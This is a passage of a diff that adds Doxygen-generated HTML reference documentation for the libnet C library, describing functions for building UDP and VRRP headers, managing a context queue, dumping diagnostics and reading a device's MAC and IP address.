+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a36" doxytag="libnet-functions.h::libnet_build_udp" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_udp </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sp</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>dp</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an RFC 768 User Datagram Protocol (UDP) header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>sp</em>&nbsp;</td><td>source port </td></tr>
+ <tr><td valign=top><em>dp</em>&nbsp;</td><td>destination port </td></tr>
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>total length of the UDP packet </td></tr>
+ <tr><td valign=top><em>sum</em>&nbsp;</td><td>checksum (0 for libnet to autofill) </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a65" doxytag="libnet-functions.h::libnet_build_vrrp" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_vrrp </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>version</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>vrouter_id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>priority</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ip_count</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>auth_type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>advert_int</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an RFC 2338 Virtual Router Redundacy Protool (VRRP) header. Use the payload interface to specify address and autthentication information. To build a "legal" packet, the destination IPv4 address should be the multicast * address 224.0.0.18, the IP TTL should be set to 255, and the IP protocol should be set to 112. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>version</em>&nbsp;</td><td>VRRP version (should be 2) </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>VRRP packet type (should be 1 -- ADVERTISEMENT) </td></tr>
+ <tr><td valign=top><em>vrouter_id</em>&nbsp;</td><td>virtual router identification </td></tr>
+ <tr><td valign=top><em>priority</em>&nbsp;</td><td>priority (higher numbers indicate higher priority) </td></tr>
+ <tr><td valign=top><em>ip_count</em>&nbsp;</td><td>number of IPv4 addresses contained in this advertisement </td></tr>
+ <tr><td valign=top><em>auth_type</em>&nbsp;</td><td>type of authentication (0, 1, 2 -- see RFC) </td></tr>
+ <tr><td valign=top><em>advert_int</em>&nbsp;</td><td>interval between advertisements </td></tr>
+ <tr><td valign=top><em>sum</em>&nbsp;</td><td>checksum (0 for libnet to autofill) </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a3" doxytag="libnet-functions.h::libnet_clear_packet" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> void libnet_clear_packet </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Clears the current packet referenced and frees all pblocks. Should be called when the programmer want to send a completely new packet of a different type using the same context. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a102" doxytag="libnet-functions.h::libnet_cq_add" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int libnet_cq_add </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>char *&nbsp;</td>
+ <td class="mdname" nowrap> <em>label</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Context Queue] Adds a new context to the libnet context queue. If no queue exists, this function will create the queue and add the specified libnet context as the first entry on the list. The functions checks to ensure niether l nor label are NULL, and that label doesn't refer to an existing context already in the queue. Additionally, l should refer to a libnet context previously initialized with a call to <a class="el" href="libnet-functions_8h.html#a1">libnet_init()</a>. If the context queue in write locked, this function will fail. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>label</em>&nbsp;</td><td>a canonical name given to recognize the new context, no longer than LIBNET_LABEL_SIZE </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>1 on success, -1 on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a107" doxytag="libnet-functions.h::libnet_cq_destroy" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> void libnet_cq_destroy </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Context Queue] Destroys the entire context queue, calling <a class="el" href="libnet-functions_8h.html#a2">libnet_destroy()</a> on each member context. </td>
+ </tr>
+</table>
+<a class="anchor" name="a106" doxytag="libnet-functions.h::libnet_cq_find_by_label" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_t* libnet_cq_find_by_label </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">char *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>label</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Context Queue] Locates a libnet context from the queue, indexed by a canonical label. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>label</em>&nbsp;</td><td>canonical label of the libnet context to retrieve </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>the expected libnet context, NULL on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a105" doxytag="libnet-functions.h::libnet_cq_getlabel" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int8_t* libnet_cq_getlabel </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Context Queue] Returns the canonical label associated with the context. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>pointer to the libnet context's label </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a108" doxytag="libnet-functions.h::libnet_cq_head" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_t* libnet_cq_head </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Context Queue] Intiailizes the interator interface and set a write lock on the entire queue. This function is intended to be called just prior to interating through the entire list of contexts (with the probable intent of inject a series of packets in rapid succession). This function is often used as per the following:<p>
+for (l = <a class="el" href="libnet-functions_8h.html#a108">libnet_cq_head()</a>; <a class="el" href="libnet-functions_8h.html#a109">libnet_cq_last()</a>; l = <a class="el" href="libnet-functions_8h.html#a110">libnet_cq_next()</a>) { ... }<p>
+Much of the time, the application programmer will use the iterator as it is written above; as such, libnet provides a macro to do exactly that, <a class="el" href="libnet-macros_8h.html#a33">for_each_context_in_cq(l)</a>. Warning: do not call the iterator more than once in a single loop. <dl compact><dt><b>Returns:</b></dt><dd>the head of the context queue </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a109" doxytag="libnet-functions.h::libnet_cq_last" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int libnet_cq_last </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Context Queue] Check whether the iterator is at the last context in the queue. <dl compact><dt><b>Returns:</b></dt><dd>1 if at the end of the context queue, 0 otherwise </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a110" doxytag="libnet-functions.h::libnet_cq_next" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_t* libnet_cq_next </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Context Queue] Get next context from the context queue. the next context from the context queue </td>
+ </tr>
+</table>
+<a class="anchor" name="a103" doxytag="libnet-functions.h::libnet_cq_remove" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_t* libnet_cq_remove </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Context Queue] Removes a specified context from the libnet context queue by specifying the libnet context pointer. Note the function will remove the specified context from the context queue and cleanup internal memory from the queue, it is up to the application programmer to free the returned libnet context with a call to <a class="el" href="libnet-functions_8h.html#a2">libnet_destroy()</a>. Also, as it is not necessary to keep the libnet context pointer when initially adding it to the context queue, most application programmers will prefer to refer to entries on the context queue by canonical name and would use <a class="el" href="libnet-functions_8h.html#a104">libnet_cq_remove_by_label()</a>. If the context queue is write locked, this function will fail. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>the pointer to the removed libnet context, NULL on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a104" doxytag="libnet-functions.h::libnet_cq_remove_by_label" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_t* libnet_cq_remove_by_label </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">char *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>label</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Context Queue] Removes a specified context from the libnet context queue by specifying the canonical name. Note the function will remove the specified context from the context queue and cleanup internal memory from the queue, it is up to the application programmer to free the returned libnet context with a call to <a class="el" href="libnet-functions_8h.html#a2">libnet_destroy()</a>. If the context queue is write locked, this function will fail. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>label</em>&nbsp;</td><td>canonical name of the context to remove </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>the pointer to the removed libnet context, NULL on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a111" doxytag="libnet-functions.h::libnet_cq_size" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int32_t libnet_cq_size </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Context Queue] Function returns the number of libnet contexts that are in the queue. <dl compact><dt><b>Returns:</b></dt><dd>the number of libnet contexts currently in the queue </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a2" doxytag="libnet-functions.h::libnet_destroy" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> void libnet_destroy </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Shuts down the libnet session referenced by l. It closes the network interface and frees all internal memory structures associated with l. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a112" doxytag="libnet-functions.h::libnet_diag_dump_context" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> void libnet_diag_dump_context </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Diagnostic] Prints the contents of the given context. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a115" doxytag="libnet-functions.h::libnet_diag_dump_hex" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> void libnet_diag_dump_hex </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>packet</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>int&nbsp;</td>
+ <td class="mdname" nowrap> <em>swap</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>FILE *&nbsp;</td>
+ <td class="mdname" nowrap> <em>stream</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Diagnostic] Function prints the contents of the supplied buffer to the supplied stream pointer. Will swap endianness based disposition of mode variable. Useful to be used in conjunction with the advanced interface and a culled packet. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>packet</em>&nbsp;</td><td>the packet to print </td></tr>
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>length of the packet in bytes </td></tr>
+ <tr><td valign=top><em>swap</em>&nbsp;</td><td>1 to swap byte order, 0 to not </td></tr>
+ <tr><td valign=top><em>stream</em>&nbsp;</td><td>a stream pointer to print to </td></tr>
+ </table>
+</dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a113" doxytag="libnet-functions.h::libnet_diag_dump_pblock" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> void libnet_diag_dump_pblock </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Diagnostic] Prints the contents of every pblock. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a114" doxytag="libnet-functions.h::libnet_diag_dump_pblock_type" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> char* libnet_diag_dump_pblock_type </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>type</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Diagnostic] Returns the canonical name of the pblock type. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>pblock type </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>a string representing the pblock type type or "unknown" for an unknown value </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a96" doxytag="libnet-functions.h::libnet_get_hwaddr" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> struct libnet_ether_addr* libnet_get_hwaddr </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Returns the MAC address for the device libnet was initialized with. If libnet was initialized without a device the function will attempt to find one. If the function fails and returns NULL a call to <a class="el" href="libnet-functions_8h.html#a9">libnet_geterror()</a> will tell you why. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>a pointer to the MAC address or NULL </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a94" doxytag="libnet-functions.h::libnet_get_ipaddr4" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int32_t libnet_get_ipaddr4 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Returns the IP address for the device libnet was initialized with. If libnet was initialized without a device (in raw socket mode) the function will attempt to find one. If the function fails and returns -1 a call to libnet_geterrror() will tell you why. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
